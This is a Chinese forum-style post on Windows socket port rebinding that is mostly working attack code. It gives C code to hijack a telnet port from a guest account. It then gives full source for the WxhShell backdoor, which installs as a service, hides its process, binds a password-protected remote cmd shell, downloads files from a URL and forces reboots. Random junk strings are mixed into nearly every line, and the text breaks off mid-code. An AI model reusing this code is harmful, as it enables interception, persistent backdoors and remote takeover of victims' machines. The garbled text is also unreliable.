在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[6AHaOhR' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vqq6B/r@Fu Y[W6Sc saddr.sin_family = AF_INET;
\UQ9MX _ ;\N79)Gk saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/"=29sWB HHz;0V4w? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r"R(}`<, ]>5T}h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9%sFJ d9O:,DKf 这意味着什么?意味着可以进行如下的攻击:
xEjx]w/& U+-F*$PO+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Pp,Um( R]Hz8 _X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
yahAD.Xuo@ R.K?
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
tKwn~T J*5hf: ?i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
14mf}"z\ Q4RpK(N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Nepi|{ BU`ckK\( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'=VH6@vZ_' >tN5vWW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wHf&R3fg %NNj9Bl<VV #include
DKX/W+#a #include
W3)\co #include
IXnb]q. #include
TN5>" ??" DWORD WINAPI ClientThread(LPVOID lpParam);
oz LH ]* int main()
+jUgx;u, {
]D O&x+Rb WORD wVersionRequested;
e,(a6X DWORD ret;
Z:!IX^q;}n WSADATA wsaData;
Mm5c8[
BOOL val;
'xIyGDe SOCKADDR_IN saddr;
cS4DN SOCKADDR_IN scaddr;
wTxbDT@ H5 int err;
6D|p Qs SOCKET s;
"?35C
! SOCKET sc;
F%
`zs\ int caddsize;
S_6g~PHsr HANDLE mt;
oB
p3JX9_f DWORD tid;
Nb0Ik/:< wVersionRequested = MAKEWORD( 2, 2 );
3A_G=WaED err = WSAStartup( wVersionRequested, &wsaData );
J96uyS* if ( err != 0 ) {
C0QM#"[ printf("error!WSAStartup failed!\n");
k)cP! %z return -1;
6hO-H&r++ }
*Ddi(` saddr.sin_family = AF_INET;
+
~"5! \/ErPi=g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
eIH$"f;L 6#U^<` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5Q W}nRCZ saddr.sin_port = htons(23);
ZWS2q4/S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
802H$P^ps {
V C-d0E0 printf("error!socket failed!\n");
kO1}?dWpa return -1;
Us]=Y}( }
M diwRi val = TRUE;
c;9.KCpwx //SO_REUSEADDR选项就是可以实现端口重绑定的
4ZwKpQ6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\w%@?Qik {
^ *0'\/N& printf("error!setsockopt failed!\n");
<`)iA-Df;9 return -1;
L_Q S0_1 }
{L].T# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
BgM%+b8u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-}P7$|O& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&n:{x}Uc 3@_Elu if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
zyFUl% {
Rb EKP(uw ret=GetLastError();
\9/RAY_G printf("error!bind failed!\n");
a7#?h%wf return -1;
1'JD = }
0OnV0SIL listen(s,2);
E8ta|D while(1)
nn+_TMu {
u#@RM^738d caddsize = sizeof(scaddr);
{e"dm5 //接受连接请求
(5a1P;_Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
rQb7?O@- if(sc!=INVALID_SOCKET)
; b*i3*!g {
Y%@hbUc}x9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\vRd} if(mt==NULL)
GSi>l,y' {
"hQgLG printf("Thread Creat Failed!\n");
#$E)b:xj break;
jo9gCP. }
((bTwx }
O$D?A2eI CloseHandle(mt);
;SY\U7B\ }
K\u_Ji]k closesocket(s);
y t5H oy WSACleanup();
-DjJ",h( $ return 0;
,6{iT,~@8 }
JeCg|@ DWORD WINAPI ClientThread(LPVOID lpParam)
v-Qmx-N {
wNYg$d0M SOCKET ss = (SOCKET)lpParam;
__Nv0Ru SOCKET sc;
S\*`lJzPM unsigned char buf[4096];
E=$p^s SOCKADDR_IN saddr;
%S \8. long num;
x`%JI=q DWORD val;
SwW['c'*]B DWORD ret;
YlF%UPp //如果是隐藏端口应用的话,可以在此处加一些判断
H,y4`p 0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-oP'4QVb saddr.sin_family = AF_INET;
\+ 0k+B4a saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=5x&8i saddr.sin_port = htons(23);
Lja 7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!RH.|} {
/.1.MssQM printf("error!socket failed!\n");
!h`kX[: return -1;
KzV 2MO-$ }
f0>!qt val = 100;
"@/62b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
hgj <>H| {
'xE
_Cj ret = GetLastError();
Ii&7rdoxe return -1;
t:)ERT") }
@t*t+Vqw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j Ux
z {
+>\id~c( ret = GetLastError();
}H"kU2l return -1;
eE@&ze>X }
[eUftr9&0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fo0+dzazY {
B9,^mE# printf("error!socket connect failed!\n");
\tN-(=T closesocket(sc);
E3aDDFDH closesocket(ss);
XYrJ/!*. return -1;
3W_PE+:Kr }
$I9qgDJ) while(1)
EYX$pz(x; {
bm% $86 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}"^'%C8EX //如果是嗅探内容的话,可以再此处进行内容分析和记录
jMNU ?m: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[7FItlF%I num = recv(ss,buf,4096,0);
._O if(num>0)
ACq7dLys,B send(sc,buf,num,0);
w= P9FxB else if(num==0)
L+}n@B break;
Iw<i@=V num = recv(sc,buf,4096,0);
{0"YOS`3AX if(num>0)
*%/~mSx send(ss,buf,num,0);
({WyDu&= else if(num==0)
A:l@_*C.. break;
y|wlq3o }
^BQrbY closesocket(ss);
P
[Uy closesocket(sc);
^vilgg~ return 0 ;
rl2&^N }
:GpDg ??60,m:] ={>Lrig:l ==========================================================
$37
g]ZD xg_Df, 下边附上一个代码,,WXhSHELL
6GPp>X :>Rv!x` ==========================================================
<Z}SKR"U% XxIHoX& #include "stdafx.h"
/,=@8k!t? { FZ=olZ #include <stdio.h>
9}a_:hAy/ #include <string.h>
3I\n_V< #include <windows.h>
7\FXz'hA #include <winsock2.h>
,JU@|` #include <winsvc.h>
G)v
#+4 #include <urlmon.h>
W6 H,6v ~w8JH2O #pragma comment (lib, "Ws2_32.lib")
sm[94,26 #pragma comment (lib, "urlmon.lib")
'R`tLN z4M9M7)" #define MAX_USER 100 // 最大客户端连接数
?;/^Ya1;Z #define BUF_SOCK 200 // sock buffer
p~HW5\4 #define KEY_BUFF 255 // 输入 buffer
evkH05+;W Tou/5?#%e #define REBOOT 0 // 重启
X3'H
`/ #define SHUTDOWN 1 // 关机
l7# yZ*<v =0uAE7q(9 #define DEF_PORT 5000 // 监听端口
!$N<ds. EnOU?D #define REG_LEN 16 // 注册表键长度
9$`lIy@B #define SVC_LEN 80 // NT服务名长度
AL#4_]m' _4^R9Bt // 从dll定义API
l2N]a9bq@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
iY"l}.7) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nWQ;9_qBB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!*6CWV0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`;%]'F0` #Zrlp.M4 // wxhshell配置信息
=] *.ZH#h struct WSCFG {
r{l(O,|e int ws_port; // 监听端口
pvmC$n^zc char ws_passstr[REG_LEN]; // 口令
F1L:,.e` int ws_autoins; // 安装标记, 1=yes 0=no
8JmFi char ws_regname[REG_LEN]; // 注册表键名
rV08ad char ws_svcname[REG_LEN]; // 服务名
Hx,0zS%> char ws_svcdisp[SVC_LEN]; // 服务显示名
}!IL]0q char ws_svcdesc[SVC_LEN]; // 服务描述信息
]Oq[gBL"A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
orOt>5}b< int ws_downexe; // 下载执行标记, 1=yes 0=no
y ]?V~% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5j~$Mj` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
.tD*2 ?QE,;QtpK };
|2{wG4 >4t+:Ut: // default Wxhshell configuration
?-^~f struct WSCFG wscfg={DEF_PORT,
OS8q( 2z?s "xuhuanlingzhe",
,#pXpAz/ 1,
0RoU}r@z4 "Wxhshell",
^Q+g({
"Wxhshell",
{e|[%reSkg "WxhShell Service",
Z+@2"%W "Wrsky Windows CmdShell Service",
E Cyyl "Please Input Your Password: ",
\hCH>*x< 1,
{%_L=2n6 "
http://www.wrsky.com/wxhshell.exe",
bw\@W{a%q "Wxhshell.exe"
O)vp~@| };
OpHsob~ C*P7-oE2rh // 消息定义模块
B(M6@1m_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
..rOsg{ char *msg_ws_prompt="\n\r? for help\n\r#>";
0jEL<TgC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}iuWAFZbGS char *msg_ws_ext="\n\rExit.";
~6p[El#tS char *msg_ws_end="\n\rQuit.";
JH7< char *msg_ws_boot="\n\rReboot...";
&RfC"lc char *msg_ws_poff="\n\rShutdown...";
*QH28%^ char *msg_ws_down="\n\rSave to ";
ynbuN x* AM!G1^c char *msg_ws_err="\n\rErr!";
~?(N char *msg_ws_ok="\n\rOK!";
rS;Dmm 7Hs%Cc" char ExeFile[MAX_PATH];
EAM5{Nc int nUser = 0;
I'LnI* HANDLE handles[MAX_USER];
1')%`~ int OsIsNt;
t<#h$}=:Vt b9!FC$^J SERVICE_STATUS serviceStatus;
WYr/oRO SERVICE_STATUS_HANDLE hServiceStatusHandle;
BqT y~{)+ r(P(Rj2~ // 函数声明
lv04g} W int Install(void);
?nL.w int Uninstall(void);
d@qsdYu-* int DownloadFile(char *sURL, SOCKET wsh);
*6VF
$/rP int Boot(int flag);
fZoHf\B]{ void HideProc(void);
Oeok; : int GetOsVer(void);
`^)jLuyu
int Wxhshell(SOCKET wsl);
/HaHH.e void TalkWithClient(void *cs);
vd[0X; int CmdShell(SOCKET sock);
`E>1>' int StartFromService(void);
Ig
f&l`\ int StartWxhshell(LPSTR lpCmdLine);
"yS _s P}4QQw VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,'u W*kx VOID WINAPI NTServiceHandler( DWORD fdwControl );
h D/*h*}T> adR)Uq9 // 数据结构和表定义
3xaR@xjS SERVICE_TABLE_ENTRY DispatchTable[] =
h5^Z2:# {
,LnII {wscfg.ws_svcname, NTServiceMain},
OOo3G~2r {NULL, NULL}
k=jk`c{<[ };
r8xv#r 1 |AozR ~ // 自我安装
J|qZ+A[z int Install(void)
@"^0%/2- {
hbY5l}\5 char svExeFile[MAX_PATH];
tIuCct- HKEY key;
.?loO3 m strcpy(svExeFile,ExeFile);
:s7m4!EF M
r5v< // 如果是win9x系统,修改注册表设为自启动
c_4[e5z if(!OsIsNt) {
^y<<>Y'I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xjKR R? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GJ_7h_4 RegCloseKey(key);
QD0"rxZJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)% ~OH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3v1iy/ / RegCloseKey(key);
~=uWD&5B4 return 0;
v]B3m }
FG.em }
mjW8Q\D }
xe^Gs]fm else {
)p<ExMIxd xHD=\,{ig // 如果是NT以上系统,安装为系统服务
V3^&oe% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CEX"D` if (schSCManager!=0)
*%%g{
3$ {
0Ziw_S\d&s SC_HANDLE schService = CreateService
3h$6t7=C (
5kCUaPu schSCManager,
2AT5 wscfg.ws_svcname,
&L'Dqew,* wscfg.ws_svcdisp,
l1BtI_7p SERVICE_ALL_ACCESS,
;DFSzbF` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,(EO'T[ SERVICE_AUTO_START,
,-8"R`UI8 SERVICE_ERROR_NORMAL,
ChGYTn`X svExeFile,
RI(DXWM|h NULL,
ywGd> @ NULL,
\Q0[?k NULL,
haK3?A,"_A NULL,
7z JRJ*NB NULL
2$+bJJM );
ON=@O if (schService!=0)
K|zZS%?$ {
J:CXW%\ <q CloseServiceHandle(schService);
K1 EynU
I CloseServiceHandle(schSCManager);
I>]oS(GNT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
lr>oYS0 strcat(svExeFile,wscfg.ws_svcname);
5m\<U` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l;R%= P?'F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M+||rct RegCloseKey(key);
3x{t( return 0;
oM2l-[- }
Wh+{mvu# }
\^L`7cBL CloseServiceHandle(schSCManager);
8 OY 3A }
EofymAi% }
>,gg5<F-E x@P y>f2 return 1;
$PTP/^ }
:61Tun EMwS1~3dD // 自我卸载
3er nTD*` int Uninstall(void)
$HHs ^tW {
+b0eE) HKEY key;
]m
g)Q:d, G&D7a/G\ if(!OsIsNt) {
qE&v ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YVQN&|- RegDeleteValue(key,wscfg.ws_regname);
PRu 6xsyA RegCloseKey(key);
*scVJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JD)(oK%C RegDeleteValue(key,wscfg.ws_regname);
<*16(!k0 RegCloseKey(key);
{> eXR?s/ return 0;
mn, =i }
|=Eo?Q_ }
(G zb }
"& ])lz[u else {
~
{E'@MU wvO|UP H\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
R;s?$;I if (schSCManager!=0)
l~c@^! {
sGyeb5c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[Y|8\Ph`& if (schService!=0)
~ELNyI11 {
2`7==? if(DeleteService(schService)!=0) {
UW N*j_9i CloseServiceHandle(schService);
PDJr<E? CloseServiceHandle(schSCManager);
E7t+E)=8 return 0;
H$=e
-L`@ }
QLXN*c CloseServiceHandle(schService);
4 !i$4 }
HG^B#yX CloseServiceHandle(schSCManager);
.{ocV#{s }
jF ^~p9z }
msP{l^%0 UtPLI al return 1;
!}YAdZJ }
%`>nS@1zp ?I6fye7 // 从指定url下载文件
m? eiIrMW int DownloadFile(char *sURL, SOCKET wsh)
q$I;dOCJ, {
5b*M*e&=C HRESULT hr;
K{&mI/; char seps[]= "/";
nxUJN1b!N char *token;
f!\lg char *file;
`|6'9 char myURL[MAX_PATH];
WKC.$[T= char myFILE[MAX_PATH];
/(u}KMR!f /qMG=Z strcpy(myURL,sURL);
"@%7 -nu token=strtok(myURL,seps);
0H6(EzN while(token!=NULL)
i!J8 d" {
}SX,^|eN file=token;
?u{~> token=strtok(NULL,seps);
|v \_@09= }
/xsF90c\h .Zn^Nw3 GetCurrentDirectory(MAX_PATH,myFILE);
VPO
N-{=` strcat(myFILE, "\\");
uD\?(LM strcat(myFILE, file);
<v)1<*I send(wsh,myFILE,strlen(myFILE),0);
DK$X2B"c V send(wsh,"...",3,0);
JLnH&(O hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{K+icTL3 if(hr==S_OK)
G9Y#kBr return 0;
)Q1"\\2j0 else
6g 5#TpCh return 1;
^A!Qc=#z} ;T"zV{;7BR }
HBy[FYa4 1,6}_MA // 系统电源模块
@Ws*Q TlV int Boot(int flag)
n,jKmA {
hlV=qfc HANDLE hToken;
igkYX!0#8O TOKEN_PRIVILEGES tkp;
1Yq?X: 8B/\U' if(OsIsNt) {
s8ywKTR- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
O~T@rX9f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k`So -e- tkp.PrivilegeCount = 1;
CLRiJ*U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZIf AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5*j?E if(flag==REBOOT) {
/I1h2E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0rOfrTNOz% return 0;
)k\H@Dy%$ }
+1uF !G&l else {
KV}FZ3jY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qs1 ?IYD return 0;
4A8;tU$& }
G'oG</A }
S0B|#O%Z else {
% W=b?: if(flag==REBOOT) {
419x+3>} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]^Qn return 0;
?j40}
B]]d }
>[9J?H else {
9{(.Il J> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
d9B]fi} return 0;
I/a/)No }
8D>n1b(H }
j"}*T F<L
EQ7T
return 1;
:e_V7t)o }
d@ i}-; ?\vh9 // win9x进程隐藏模块
'm4W}F void HideProc(void)
)Hpa}FGT {
!zkZQ2{Wn u -;_y='m HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
eIz<)-7: if ( hKernel != NULL )
:ctu5{"UJ {
_oHNkKQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[#l*_0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
MXw hxk#E FreeLibrary(hKernel);
b6Wqr/ }
;*Ivn@L oE+R3[D?r return;
2^y^q2(r }
B.dH(um .ni_p 6! // 获取操作系统版本
4(|cG7>9- int GetOsVer(void)
ba[1wFmcL {
qHuZcht OSVERSIONINFO winfo;
v-#Q7T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
z`!XhU GetVersionEx(&winfo);
%K>,xiD) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}])oM|fgO return 1;
)\eI;8 else
s!?`T1L return 0;
lBK}VU^ }
:[O
8 ()5[x.xK@ // 客户端句柄模块
Bk*F_>X" int Wxhshell(SOCKET wsl)
3on7~*
{
{zn!vJX SOCKET wsh;
TM_/`a2} struct sockaddr_in client;
>+JqA7K DWORD myID;
?\t#1"d %/|9@e r while(nUser<MAX_USER)
W+PJZn {
HkO7R
` int nSize=sizeof(client);
*VFf.aPwYi wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
g+pml*LJ if(wsh==INVALID_SOCKET) return 1;
vbb5f #WZ fQi4\m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S 5/R_5 if(handles[nUser]==0)
1DE1.1 closesocket(wsh);
;A]@4*q else
{@+Ty]e nUser++;
Yzh"1|O }
4kBaB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2 lj'"nm MRb-H1+Xf return 0;
+z9Q-d%O }
Q4+gAS9 Y~L2 // 关闭 socket
}s(N6 a&( void CloseIt(SOCKET wsh)
~\Hc,5G {
aMtsmL?= closesocket(wsh);
JT3-AAi[Z nUser--;
^>i63Yc ExitThread(0);
K_RjX>q%N }
+89*)pk 1guJG_;z // 客户端请求句柄
| N[<x@ void TalkWithClient(void *cs)
t5y;CxL {
-( bYEy<7)x SOCKET wsh=(SOCKET)cs;
iV&6nh( char pwd[SVC_LEN];
x4E7X_ char cmd[KEY_BUFF];
ldiD2
Q char chr[1];
Fs9I7~L3 int i,j;
"uaMk}[ <! lfqiyYFm while (nUser < MAX_USER) {
9y<*8bI 9~p[ if(wscfg.ws_passstr) {
c(!6^qk]!` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]ooIrY8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)}"wesNo". //ZeroMemory(pwd,KEY_BUFF);
_#r+ !e i=0;
E`?3PA8 while(i<SVC_LEN) {
[co% :xJu gP0LCK> // 设置超时
Bj1?x fd_set FdRead;
+VO-oFE | struct timeval TimeOut;
L&u$t}~) FD_ZERO(&FdRead);
@cFJeOC| FD_SET(wsh,&FdRead);
czS+<
w TimeOut.tv_sec=8;
S7/eS)SQR TimeOut.tv_usec=0;
uTKD 4yig int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2QJ{a46} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dwDcR,z?a 2E}*v5b, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P_*" dza pwd
=chr[0]; _V7r1fY:
if(chr[0]==0xd || chr[0]==0xa) { umt.Um.m2
pwd=0; YVHm{A1b0
break; FB{KH .
} -OapVa c
i++; ;#vKi0V7
} whi`Z:~
23Nw!6S
// 如果是非法用户,关闭 socket \$*7 >`k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]x(e&fyHB
}
|8My42yf
u~WVGjoQ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EfCx`3~EX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hn5|B 3vN
@d
mV
while(1) { Exc9`
7%.
_j< K=){
ZeroMemory(cmd,KEY_BUFF); G
8g<>d{j
l'/R&`-n
// 自动支持客户端 telnet标准 ;/r1}tl+3>
j=0; xKuRh}^K
while(j<KEY_BUFF) { 8 ~J(](QA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0yuS3VY)
cmd[j]=chr[0]; {^\+iK4bS
if(chr[0]==0xa || chr[0]==0xd) { qI#;j%V
cmd[j]=0; ABD)}n=%c
break; e?JW
}
1~Oe=`{&
j++; `w.n]TR
} _"bHe/'CI
&jslyQ#
// 下载文件 pe] A5\4c
if(strstr(cmd,"http://")) { 60J;sGW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H!5\v"]WB
if(DownloadFile(cmd,wsh)) nxWY7hU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]:Nsf|C0
else Yu)NO\3&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3%E }JU?MM
} IC1NKn<k
else { !g5xq
zgNc4B
switch(cmd[0]) { zNxW'?0Z?
c:<005\Bg
// 帮助 WST8SEzJ
case '?': { "B3N*R(["
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JBE!j-F
break; M>~Drul
} `$,GzS (
// 安装 y9q8i(E0
case 'i': { [d(U38BI
if(Install()) nbm&wa[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1FlX'[vh
else U+:m4a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _+K_5IO4
break; >7I15U
} 1*'HL#
// 卸载 *>|gxM8
case 'r': { +
+M$#Er&
if(Uninstall()) 'ig&$fz b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_6I w`0
else Q=AavKn#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :S<f?*
}:
break; gl\\+VyU
} V@zg}C|e
// 显示 wxhshell 所在路径 iBF|&h(\
case 'p': { %?}33yV
char svExeFile[MAX_PATH]; i~I%D%;
strcpy(svExeFile,"\n\r"); 2NC.Z;
strcat(svExeFile,ExeFile); bCo7*<I4
send(wsh,svExeFile,strlen(svExeFile),0); fZ0M%f
break; (.D~0a JU
} Si8pzd
// 重启 }uJu>'1[G
case 'b': { *5%d XixN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Je[c,&j$?
if(Boot(REBOOT)) +S>j0m<*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Al}6q{E9+8
else { `UD/}j@
closesocket(wsh); ad*m%9Y1Q
ExitThread(0); W-mQjJ`,B
} B:'J`M"N
break; 41`n1:-]
} R=gb'
// 关机 lR )67a
case 'd': { .E`\MtA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kD=WO4}
if(Boot(SHUTDOWN)) ,{M^-3C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )'l:K.F
else { j[`j9mM8
closesocket(wsh); n^Hm;BiE#
ExitThread(0); NQBpX
} s}w{:Hk,x8
break; h2Ld[xvCu%
} 9s\A\$("l
// 获取shell }>>1<P<8-
case 's': { 'u *DA|HC
CmdShell(wsh); ,:%CB"J
closesocket(wsh); [pbo4e,4O
ExitThread(0); ?9e_gV{&;
break; O_`VV*
}
}Yb[
// 退出 ^E;kgED5
case 'x': { U#lCj0iUt,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A P)L:7w'e
CloseIt(wsh); '(U-(wTC'/
break; |iak z|])
} Ag 9vU7
// 离开 7j@Hs[
*
case 'q': { t|g4m[kr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C 3^JAP
closesocket(wsh); q]T1dz?
WSACleanup(); z[b@V
exit(1); iW$_zgN
break; d' !]ZWe
} RIlwdt
} ]~9tYn
} ZGexdc%
wxKX{Bs
// 提示信息 ?qPo=~y01
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SheM|I~de
} .B7,j%1r
} \H1(PA
u_@f$
return; !hJ+Lp_
} 8<X#f
!
K'L^;z6
// shell模块句柄 vx>b^tJKC
int CmdShell(SOCKET sock) `7c~mypx
{ %Qmn-uZ
STARTUPINFO si; ;D3C>7y
ZeroMemory(&si,sizeof(si)); e|)hG8FlF
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CyJEY-
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bo)3!wO8
PROCESS_INFORMATION ProcessInfo; Rw"sJ) /
char cmdline[]="cmd"; CS2Bo
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ( /=f6^}
return 0; MLXN Zd
} GZEc l'h*
{j9{n
// 自身启动模式 9+j0q%
int StartFromService(void) YN/|$sMD|
{ &Y!-%{e
typedef struct IdzxS
{ qraSRK5
DWORD ExitStatus; gH$ Mr
DWORD PebBaseAddress; _GV:HOBi
DWORD AffinityMask; 6V$Avg\6\
DWORD BasePriority; N(;1o.~
ULONG UniqueProcessId; ND'E8Ke pq
ULONG InheritedFromUniqueProcessId; BL0 {HV!
